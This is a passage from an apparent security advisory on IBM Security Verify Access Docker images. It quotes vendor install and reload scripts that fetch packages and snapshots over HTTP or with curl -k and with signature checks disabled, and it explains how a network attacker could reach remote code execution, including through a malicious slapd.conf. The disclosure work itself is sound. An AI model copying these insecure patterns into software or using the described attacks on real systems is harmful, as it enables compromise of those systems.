<span style="color: #BA2121">37     ibm-db2-jdbc.*.tar.gz:/opt/IBM/db2&quot;</span>
<span style="color: #666666">38</span> 
<span style="color: #666666">39</span> <span style="color: #008000; font-weight: bold">for</span> entry in <span style="color: #19177C">$zips</span>; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">40</span>     <span style="color: #19177C">zip</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #008000">echo</span> <span style="color: #19177C">$entry</span> | cut -f <span style="color: #666666">1</span> -d <span style="color: #BA2121">&#39;:&#39;`</span>
<span style="color: #666666">41</span>     <span style="color: #19177C">dst</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #008000">echo</span> <span style="color: #19177C">$entry</span> | cut -f <span style="color: #666666">2</span> -d <span style="color: #BA2121">&#39;:&#39;`</span>
<span style="color: #666666">42</span> 
<span style="color: #666666">43</span>     <span style="color: #408080; font-style: italic"># Download and install the file.</span>
<span style="color: #666666">44</span>     <span style="color: #19177C">zip_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>locate_file <span style="color: #19177C">$zip</span><span style="color: #BA2121">`</span>
<span style="color: #666666">45</span> 
<span style="color: #666666">46</span>     curl --fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$zip_file</span> -o /root/<span style="color: #19177C">$zip_file</span>
<span style="color: #666666">47</span> 
<span style="color: #666666">48</span>     mkdir -p <span style="color: #19177C">$dst</span>
<span style="color: #666666">49</span> 
<span style="color: #666666">50</span>     <span style="color: #008000">set</span> +e; <span style="color: #008000">echo</span> <span style="color: #19177C">$zip</span> | grep -q .zip; <span style="color: #19177C">rc</span><span style="color: #666666">=</span><span style="color: #19177C">$?</span>; <span style="color: #008000">set</span> -e
<span style="color: #666666">51</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$rc</span> -eq <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">52</span>         unzip -q /root/<span style="color: #19177C">$zip_file</span> -d <span style="color: #19177C">$dst</span>
<span style="color: #666666">53</span>         <span style="color: #19177C">exclude</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #008000">echo</span> <span style="color: #19177C">$zip_file</span> | sed <span style="color: #BA2121">&quot;s|.zip|.exclude|g&quot;`</span>
<span style="color: #666666">54</span>     <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">55</span>         tar -x -C <span style="color: #19177C">$dst</span> -f /root/<span style="color: #19177C">$zip_file</span>
<span style="color: #666666">56</span>         <span style="color: #19177C">exclude</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span><span style="color: #008000">echo</span> <span style="color: #19177C">$zip_file</span> | sed <span style="color: #BA2121">&quot;s|.tar.gz|.exclude|g&quot;`</span>
<span style="color: #666666">57</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">58</span> 
<span style="color: #666666">59</span>     <span style="color: #19177C">exclude_file</span><span style="color: #666666">=</span>/root/<span style="color: #19177C">$exclude</span>
<span style="color: #666666">60</span> 
<span style="color: #666666">61</span>     <span style="color: #008000">set</span> +e; curl --fail -s -k <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$exclude</span> -o <span style="color: #19177C">$exclude_file</span>; <span style="color: #19177C">rc</span><span style="color: #666666">=</span><span style="color: #19177C">$?</span>; <span style="color: #008000">set</span> -e
<span style="color: #666666">62</span> 
<span style="color: #666666">63</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$rc</span> -eq <span style="color: #666666">0</span> -a -s <span style="color: #19177C">$exclude_file</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">64</span>         <span style="color: #008000">cd</span> <span style="color: #19177C">$dst</span>
<span style="color: #666666">65</span>         cat <span style="color: #19177C">$exclude_file</span> | xargs rm -rf
<span style="color: #666666">66</span>     <span style="color: #008000; font-weight: bold">fi</span>
</pre></div>

<p><a id="rce-4"></a></p>
<h2>Details - Remote Code Execution due to insecure Repository configuration</h2>
<p>It was observed that the Docker images verify-access-dsc, verify-access-runtime and verify-access-wrp use insecure CentOS repositories:</p>
<ul>
<li>The transport is done over HTTP (in clear-text) - instead of HTTPS.</li>
<li>The check of the signature is disabled.</li>
<li>These repositories will be enabled by default.</li>
</ul>
<p>An attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious RPMs and take control over the entire platform.</p>
<p>The <code>/usr/sbin/install_system.sh</code> script in these 3 images will enable 4 remote repositories over HTTP and will disable the check of signature of the downloaded packages from these repositories:</p>
<pre><code> 31 centos_repo_file="/etc/yum.repos.d/centos.repo"
 32 
 33 cat &lt;&lt;EOT &gt;&gt; $centos_repo_file
 34 [CentOS-8_base]
 35 name = CentOS-8 - Base
 36 baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os
 37 gpgcheck = 0
 38 enabled = 1 
 39 
 40 [CentOS-8_appstream]
 41 name = CentOS-8 - AppStream
 42 baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os
 43 gpgcheck = 0        
 44 enabled = 1
 45 EOT
[...]
 98 #
 99 # Enable install of the busybox RPM from the Fedora repository.
100 #
101 
102 fedora_repo_file="/etc/yum.repos.d/fedora.repo"
103 
104 cat &lt;&lt;EOT &gt;&gt; $fedora_repo_file
105 [fedora]                                                                                                                                                                                        
106 name=Fedora                                                                                                                                                                                     
107 metalink=https://mirrors.fedoraproject.org/metalink?repo=fedora-33&amp;arch=x86_64
108 enabled=1
109 gpgcheck=0
110 
111 [fedora-updates]
112 name=Fedora Updates
113 metalink=https://mirrors.fedoraproject.org/metalink?repo=updates-released-f33&amp;arch=x86_64
114 enabled=1
115 gpgcheck=0
116 EOT
</code></pre>
<p>It was confirmed that this configuration appears in the verify-access-runtime instance in the live system:</p>
<pre><code>[root@container-01]# for i in $(podman ps | grep -v NAMES | awk '{ print $1 }'); do podman ps | grep $i; podman exec -it $i cat /etc/yum.repos.d/centos.repo;echo;done
4262005f3646  ibmcom/verify-access/10.0.4.0:20221006.1                         7 hours ago  Up 7 hours ago (healthy)  0.0.0.0:7443-&gt;9443/tcp            verify-access
cat: /etc/yum.repos.d/centos.repo: No such file or directory

c930c46acd66  ibmcom/verify-access-runtime/10.0.4.0:20221006.1                        7 hours ago  Up 7 hours ago (healthy)  0.0.0.0:9443-&gt;9443/tcp            verify-access-runtime
name = CentOS-8 - Base
baseurl = http://mirror.centos.org/centos/8-stream/BaseOS/x86_64/os
gpgcheck = 0
enabled = 1

[CentOS-8_appstream]
name = CentOS-8 - AppStream
baseurl = http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os
gpgcheck = 0
enabled = 1

48f1b1e8f782  ibmcom/verify-access-dsc/10.0.4.0:20221006.1                            7 hours ago  Up 7 hours ago (healthy)  0.0.0.0:8443-8444-&gt;8443-8444/tcp  verify-access-dsc
cat: /etc/yum.repos.d/centos.repo: No such file or directory

[root@container-01]#
</code></pre>
<p>Furthermore, the script <code>/usr/sbin/install_system.sh</code> will insecurely download programs and install them as root, using the previous insecure repositories:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">48</span> <span style="color: #408080; font-style: italic"># Install tools required for container build process.</span>
 <span style="color: #666666">49</span> <span style="color: #408080; font-style: italic">#</span>
 <span style="color: #666666">50</span> 
 <span style="color: #666666">51</span> microdnf -y install unzip shadow-utils jansson openssl libxslt <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">52</span>         libnsl2 gzip cpio tar
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
 <span style="color: #666666">55</span> <span style="color: #408080; font-style: italic"># We have an issue where RedHat periodically introduces a dependency on</span>
 <span style="color: #666666">56</span> <span style="color: #408080; font-style: italic"># openssl-pkcs11.  We don&#39;t actually need this package and so we manually remove</span>
 <span style="color: #666666">57</span> <span style="color: #408080; font-style: italic"># it if it has been installed.</span>
 <span style="color: #666666">58</span> <span style="color: #408080; font-style: italic">#</span>
 <span style="color: #666666">59</span> 
 <span style="color: #666666">60</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #BA2121">`</span>rpm -q -a | grep openssl-pkcs11 | wc -l<span style="color: #BA2121">`</span> -ne <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">61</span>     rpm --erase openssl-pkcs11
 <span style="color: #666666">62</span> <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
 <span style="color: #666666">70</span> <span style="color: #19177C">rpms</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;&quot;</span>
 <span style="color: #666666">71</span> <span style="color: #008000; font-weight: bold">for</span> lang in en cs de es <span style="color: #008000; font-weight: bold">fi</span> fr hu it ja ko nl pl pt ru zh; <span style="color: #008000; font-weight: bold">do</span>
 <span style="color: #666666">72</span>     <span style="color: #19177C">rpms</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;</span><span style="color: #19177C">$rpms</span><span style="color: #BA2121"> glibc-langpack-</span><span style="color: #19177C">$lang</span><span style="color: #BA2121">&quot;</span>
 <span style="color: #666666">73</span> <span style="color: #008000; font-weight: bold">done</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">122</span> microdnf -y install busybox
</pre></div>

<p><a id="supply-chain-attack"></a></p>
<h2>Details - Additional repository configuration (potential supply-chain attack)</h2>
<p>It was observed that the Docker images verify-access-runtime and verify-access-wrp use a third-party repository configuration, obtained when retrieving the external file at <code>https://repo.symas.com/configs/SOFL/rhel8/sofl.repo</code>:</p>
<p>Content of <code>/usr/sbin/install_system.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">47</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">48</span> <span style="color: #408080; font-style: italic"># Install OpenLDAP.  This is no longer provided by CentOS.</span>
<span style="color: #666666">49</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">50</span> 
<span style="color: #666666">51</span> <span style="color: #19177C">sofl_repo_file</span><span style="color: #666666">=</span><span style="color: #BA2121">&quot;/etc/yum.repos.d/sofl.repo&quot;</span>
<span style="color: #666666">52</span> 
<span style="color: #666666">53</span> curl https://repo.symas.com/configs/SOFL/rhel8/sofl.repo <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">54</span>     -o <span style="color: #19177C">$sofl_repo_file</span>
</pre></div>

<p>It was confirmed that this configuration appears in the verify-access-runtime instance in the live system:</p>
<pre><code>[isam@verify-access-runtime /]$ cat /etc/yum.repos.d/sofl.repo 
[sofl]
name=Symas OpenLDAP for Linux RPM repository
baseurl=https://repo.symas.com/repo/rpm/SOFL/rhel8
gpgkey=https://repo.symas.com/repo/gpg/RPM-GPG-KEY-symas-com-signing-key
gpgcheck=1
enabled=1
[isam@verify-access-runtime /]$
</code></pre>
<p>When reading the <code>/usr/sbin/install_system.sh</code> script, this repository is used to install an additional package, without checking the signature:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">58</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">59</span> <span style="color: #408080; font-style: italic"># We want to manually install the openldap server RPM as microdnf pulls</span>
<span style="color: #666666">60</span> <span style="color: #408080; font-style: italic"># in a whole heap of dependencies which we don&#39;t require.</span>
<span style="color: #666666">61</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">62</span> 
<span style="color: #666666">63</span> <span style="color: #19177C">baseurl</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>grep baseurl <span style="color: #19177C">$sofl_repo_file</span> | cut -f <span style="color: #666666">2</span> -d <span style="color: #BA2121">&#39;=&#39;`</span>/x86_64
<span style="color: #666666">64</span> <span style="color: #19177C">version</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>rpm -q --qf <span style="color: #BA2121">&quot;%{VERSION}-%{RELEASE}&quot;</span> symas-openldap<span style="color: #BA2121">`</span>
<span style="color: #666666">65</span> <span style="color: #19177C">rpmfile</span><span style="color: #666666">=</span>/tmp/openldap.rpm
<span style="color: #666666">66</span> 
<span style="color: #666666">67</span> curl <span style="color: #19177C">$baseurl</span>/symas-openldap-servers-<span style="color: #19177C">$version</span>.x86_64.rpm -o <span style="color: #19177C">$rpmfile</span>
<span style="color: #666666">68</span> 
<span style="color: #666666">69</span> rpm -i --nodeps <span style="color: #19177C">$rpmfile</span>
<span style="color: #666666">70</span> 
<span style="color: #666666">71</span> rm -f <span style="color: #19177C">$rpmfile</span>
</pre></div>

<p>There is a potential supply-chain attack and this dependency is not documented.</p>
<p><a id="rce-5"></a></p>
<h2>Details - Remote Code Execution due to insecure /usr/sbin/install_system.sh script in verify-access-runtime</h2>
<p>It was observed that the Docker image verify-access-runtime uses a highly insecure <code>/usr/sbin/install_system.sh</code> script.</p>
<p>With the 2 previous vulnerabilities already explained in <a href="#supply-chain-attack">Additional repository configuration (potential supply-chain attack)</a> and
<a href="#rce-2">Remote Code Execution due to insecure download of rpm and zip files in verify-access-dsc, verify-access-runtime and verify-access-wrp (/usr/sbin/install_isva.sh)</a>,
this version adds 2 new vulnerabilities:</p>
<ul>
<li>Installation of 3 packages downloaded over HTTP without checking the signature (lines 82, 84 and 90); and</li>
<li>Replacement of <code>/usr/share/java/postgresql-jdbc/postgresql.jar</code> using a postgresql.jar file directly retrieved over HTTP (line 99) and with <code>-k</code> (aka <code>--insecure</code>).</li>
</ul>
<p>Content of <code>/usr/sbin/install_system.sh</code>:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">73</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">74</span> <span style="color: #408080; font-style: italic"># For the postgresql packages we need to download and install manually so</span>
<span style="color: #666666">75</span> <span style="color: #408080; font-style: italic"># that we don&#39;t also pull in all of the unnecessary dependencies.</span>
<span style="color: #666666">76</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">77</span> 
<span style="color: #666666">78</span> <span style="color: #19177C">centos_base</span><span style="color: #666666">=</span>http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/
<span style="color: #666666">79</span> 
<span style="color: #666666">80</span> <span style="color: #19177C">rpms</span><span style="color: #666666">=</span>/tmp/rpms.txt
<span style="color: #666666">81</span> 
<span style="color: #666666">82</span> curl http://mirror.centos.org/centos/8-stream/AppStream/x86_64/os/Packages/ -o <span style="color: #19177C">$rpms</span>
<span style="color: #666666">83</span> 
<span style="color: #666666">84</span> <span style="color: #008000; font-weight: bold">for</span> pkg in postgresql-12 postgresql-server-12 postgresql-jdbc-42; <span style="color: #008000; font-weight: bold">do</span>
<span style="color: #666666">85</span>     <span style="color: #19177C">rpm_file</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>grep <span style="color: #19177C">$pkg</span> <span style="color: #19177C">$rpms</span> | tail -n <span style="color: #666666">1</span> | <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">86</span>                     sed <span style="color: #BA2121">&#39;s|.*href=&quot;||g&#39;</span> | cut -f <span style="color: #666666">1</span> -d <span style="color: #BA2121">&#39;&quot;&#39;`</span>
<span style="color: #666666">87</span> 
<span style="color: #666666">88</span>     <span style="color: #008000">echo</span> <span style="color: #BA2121">&quot;Installing: </span><span style="color: #19177C">$rpm_file</span><span style="color: #BA2121">&quot;</span>
<span style="color: #666666">89</span> 
<span style="color: #666666">90</span>     rpm -i --nodeps <span style="color: #19177C">$centos_base</span>/<span style="color: #19177C">$rpm_file</span>
<span style="color: #666666">91</span> <span style="color: #008000; font-weight: bold">done</span>
<span style="color: #666666">92</span> 
<span style="color: #666666">93</span> rm -f <span style="color: #19177C">$rpms</span>
<span style="color: #666666">94</span> 
<span style="color: #666666">95</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">96</span> <span style="color: #408080; font-style: italic"># Need a more current jar then what is part of the postges-jdbc rpm</span>
<span style="color: #666666">97</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">98</span> <span style="color: #19177C">postgres_jar</span><span style="color: #666666">=</span><span style="color: #BA2121">`</span>locate_file postgresql-.*.jar<span style="color: #BA2121">`</span>
<span style="color: #666666">99</span> curl -kv <span style="color: #BB6688; font-weight: bold">${</span><span style="color: #19177C">WEBSERVER</span><span style="color: #BB6688; font-weight: bold">}</span>/<span style="color: #19177C">$postgres_jar</span> -o /usr/share/java/postgresql-jdbc/postgresql.jar
</pre></div>

<p>An attacker located on the network (local network or any Internet router located between the instance and the remote mirror.centos.org server) can inject malicious rpm or a malicious .jar file and take control over the entire platform.</p>
<p>Note that IBM does not consider this vulnerability since the script is supposed to be executed in a secure network.</p>
<p><a id="rce-6"></a></p>
<h2>Details - Remote Code Execution due to insecure reload script in verify-access-runtime</h2>
<p>It was observed that the Docker image verify-access-runtime uses a highly insecure reload script.</p>
<p>An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform.</p>
<p>This script is defined at the end of the <code>/usr/sbin/install_system.sh</code> script: </p>
<p>Content of <code>/usr/sbin/install_system.sh</code> in verify-access-runtime:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">239</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">240</span> <span style="color: #408080; font-style: italic"># Ensure that the reload script is executable.</span>
<span style="color: #666666">241</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">242</span> 
<span style="color: #666666">243</span> mv /sbin/reload.sh /sbin/runtime_reload
<span style="color: #666666">244</span> 
<span style="color: #666666">245</span> chmod <span style="color: #666666">755</span> /sbin/runtime_reload
</pre></div>

<p>Analysis of <code>/sbin/runtime_reload</code>:</p>
<p>The function <code>download_from_cfgsvc()</code> is insecure as the curl command uses the <code>-k</code> option (as known as <code>--insecure</code>) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the <code>-k</code> option.</p>
<p>We can also see that Postgres does not have passwords in line 144, already found in <a href="#no-auth-postgres">Lack of authentication in Postgres inside verify-access-runtime</a>.</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">67</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
 <span style="color: #666666">68</span> <span style="color: #408080; font-style: italic"># Attempt to download the snapshot from the configuration service.</span>
 <span style="color: #666666">69</span> 
 <span style="color: #666666">70</span> download_from_cfgsvc<span style="color: #666666">()</span>
 <span style="color: #666666">71</span> <span style="color: #666666">{</span>
 <span style="color: #666666">72</span>     <span style="color: #408080; font-style: italic"># No need to download the snapshot if the configuration service has not</span>
 <span style="color: #666666">73</span>     <span style="color: #408080; font-style: italic"># been defined.</span>
 <span style="color: #666666">74</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">75</span>         <span style="color: #008000; font-weight: bold">return</span>
 <span style="color: #666666">76</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">77</span> 
 <span style="color: #666666">78</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$1</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">79</span>         Echo <span style="color: #666666">960</span>
 <span style="color: #666666">80</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">81</span> 
 <span style="color: #666666">82</span>     curl -k -s --fail -u <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_USER_NAME</span><span style="color: #BA2121">:</span><span style="color: #19177C">$CONFIG_SERVICE_USER_PWD</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">83</span>             <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">/snapshots/`basename </span><span style="color: #19177C">$snapshot</span><span style="color: #BA2121">`?type=File&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
 <span style="color: #666666">84</span>             -o <span style="color: #19177C">$snapshot</span>
 <span style="color: #666666">85</span> 
 <span style="color: #666666">86</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -ne <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">87</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$1</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">88</span>             Echo <span style="color: #666666">961</span>
 <span style="color: #666666">89</span>         <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">90</span> 
 <span style="color: #666666">91</span>         rm -f <span style="color: #19177C">$snapshot</span>
 <span style="color: #666666">92</span>     <span style="color: #008000; font-weight: bold">else</span>
 <span style="color: #666666">93</span>         Echo <span style="color: #666666">962</span>
 <span style="color: #666666">94</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">95</span> <span style="color: #666666">}</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
 <span style="color: #666666">97</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
 <span style="color: #666666">98</span> <span style="color: #408080; font-style: italic"># Main line.</span>
 <span style="color: #666666">99</span> 
<span style="color: #666666">100</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">101</span> <span style="color: #408080; font-style: italic"># Download the snapshot file.</span>
<span style="color: #666666">102</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">103</span> 
<span style="color: #666666">104</span> download_from_cfgsvc <span style="color: #666666">1</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">127</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">128</span> <span style="color: #408080; font-style: italic"># Update the configuration database.</span>
<span style="color: #666666">129</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">130</span> 
<span style="color: #666666">131</span> Echo <span style="color: #666666">997</span>
<span style="color: #666666">132</span> 
<span style="color: #666666">133</span> <span style="color: #19177C">db_root</span><span style="color: #666666">=</span>/var/postgresql/config
<span style="color: #666666">134</span> <span style="color: #19177C">db_snapshot</span><span style="color: #666666">=</span><span style="color: #19177C">$db_root</span>/snapshot.sql
<span style="color: #666666">135</span> <span style="color: #19177C">db_port</span><span style="color: #666666">=5432</span>
<span style="color: #666666">136</span> <span style="color: #19177C">db_name</span><span style="color: #666666">=</span>config
<span style="color: #666666">137</span> <span style="color: #19177C">db_user</span><span style="color: #666666">=</span>www-data
<span style="color: #666666">138</span> 
<span style="color: #666666">139</span> <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> ! -f <span style="color: #19177C">$db_snapshot</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
<span style="color: #666666">140</span>     Echo <span style="color: #666666">975</span>
<span style="color: #666666">141</span>     <span style="color: #008000">exit</span> <span style="color: #666666">1</span>
<span style="color: #666666">142</span> <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">143</span> 
<span style="color: #666666">144</span> psql -U <span style="color: #19177C">$db_user</span> -d <span style="color: #19177C">$db_name</span> -p <span style="color: #19177C">$db_port</span> -f <span style="color: #19177C">$db_snapshot</span> -q -b -w
</pre></div>

<p><a id="rce-7"></a></p>
<h2>Details - Remote Code Execution due to insecure reload script in verify-access-wrp</h2>
<p>It was observed that the Docker image verify-access-wrp uses a highly insecure reload script.</p>
<p>An attacker located on the network can inject a malicious snapshot file into the platform or MITM the connection to a server containing the snapshot image and take control over the entire platform. He can also overwrite any file present in the verify-access-wrp docker instance (getting a Remote Code Execution).</p>
<p>This script is defined at the end of the <code>/usr/sbin/install_system.sh</code> script: </p>
<p>Content of <code>/usr/sbin/install_system.sh</code> in verify-access-wrp:</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span><span style="color: #666666">210</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">211</span> <span style="color: #408080; font-style: italic"># Ensure that the restart script is executable.</span>
<span style="color: #666666">212</span> <span style="color: #408080; font-style: italic">#</span>
<span style="color: #666666">213</span> 
<span style="color: #666666">214</span> mv /sbin/restart.sh /sbin/wrprestart
<span style="color: #666666">215</span> 
<span style="color: #666666">216</span> chmod <span style="color: #666666">755</span> /sbin/wrprestart
</pre></div>

<p>Analysis of <code>/sbin/wrprestart</code>:</p>
<p>The function <code>download_from_cfgsvc()</code> is insecure as the curl command uses the <code>-k</code> option (as known as <code>--insecure</code>) to download and install a snapshot into the instance: any invalid SSL certificate for the remote server will be accepted because of the <code>-k</code> option.</p>
<p>The <code>openldap.zip</code> file found in the malicious snapshot file will then be decrypted using a previously found hardcoded key and extracted into the <code>/</code> directory (line 154 and 156) and openldap will be restarted with the new configuration file, allowing an attacker to get a Remote Code Execution by specifying a malicious <code>slapd.conf</code> file (stored inside <code>openldap.zip</code>, in <code>etc/openldap/slapd.conf</code>).</p>
<p>Since the extraction of <code>openldap.zip</code> takes place in <code>/</code>, it is also possible to overwrite any file as root (and get Remote Code Execution, e.g. by replacing a program).</p>
<div class="colorful" style="background: #f8f8f8"><pre style="line-height: 125%"><span></span> <span style="color: #666666">85</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
 <span style="color: #666666">86</span> <span style="color: #408080; font-style: italic"># Attempt to download the snapshot from the configuration service.</span>
 <span style="color: #666666">87</span> 
 <span style="color: #666666">88</span> download_from_cfgsvc<span style="color: #666666">()</span>
 <span style="color: #666666">89</span> <span style="color: #666666">{</span>
 <span style="color: #666666">90</span>     <span style="color: #408080; font-style: italic"># No need to download the snapshot if the configuration service has not</span>
 <span style="color: #666666">91</span>     <span style="color: #408080; font-style: italic"># been defined.</span>
 <span style="color: #666666">92</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> -z <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">&quot;</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">93</span>         <span style="color: #008000; font-weight: bold">return</span>
 <span style="color: #666666">94</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">95</span> 
 <span style="color: #666666">96</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$1</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>
 <span style="color: #666666">97</span>         Echo <span style="color: #666666">960</span>
 <span style="color: #666666">98</span>     <span style="color: #008000; font-weight: bold">fi</span>
 <span style="color: #666666">99</span> 
<span style="color: #666666">100</span>     curl -k -s --fail -u <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_USER_NAME</span><span style="color: #BA2121">:</span><span style="color: #19177C">$CONFIG_SERVICE_USER_PWD</span><span style="color: #BA2121">&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">101</span>             <span style="color: #BA2121">&quot;</span><span style="color: #19177C">$CONFIG_SERVICE_URL</span><span style="color: #BA2121">/snapshots/`basename </span><span style="color: #19177C">$snapshot</span><span style="color: #BA2121">`?type=File&quot;</span> <span style="color: #BB6622; font-weight: bold">\</span>
<span style="color: #666666">102</span>             -o <span style="color: #19177C">$snapshot</span>
<span style="color: #666666">103</span> 
<span style="color: #666666">104</span>     <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$?</span> -ne <span style="color: #666666">0</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>                                                                                                                                                                      
<span style="color: #666666">105</span>         <span style="color: #008000; font-weight: bold">if</span> <span style="color: #666666">[</span> <span style="color: #19177C">$1</span> -eq <span style="color: #666666">1</span> <span style="color: #666666">]</span> ; <span style="color: #008000; font-weight: bold">then</span>                                                                                                                                                                  
<span style="color: #666666">106</span>             Echo <span style="color: #666666">961</span>                                                                                                                                                                            
<span style="color: #666666">107</span>         <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">108</span> 
<span style="color: #666666">109</span>         rm -f <span style="color: #19177C">$snapshot</span>
<span style="color: #666666">110</span>     <span style="color: #008000; font-weight: bold">else</span>
<span style="color: #666666">111</span>         Echo <span style="color: #666666">962</span>
<span style="color: #666666">112</span>     <span style="color: #008000; font-weight: bold">fi</span>
<span style="color: #666666">113</span> <span style="color: #666666">}</span>
<span style="color: #666666">[</span>...<span style="color: #666666">]</span>
<span style="color: #666666">137</span> <span style="color: #408080; font-style: italic">#############################################################################</span>
<span style="color: #666666">138</span> <span style="color: #408080; font-style: italic"># Process the OpenLDAP configuration and then restart the OpenLDAP server.</span>
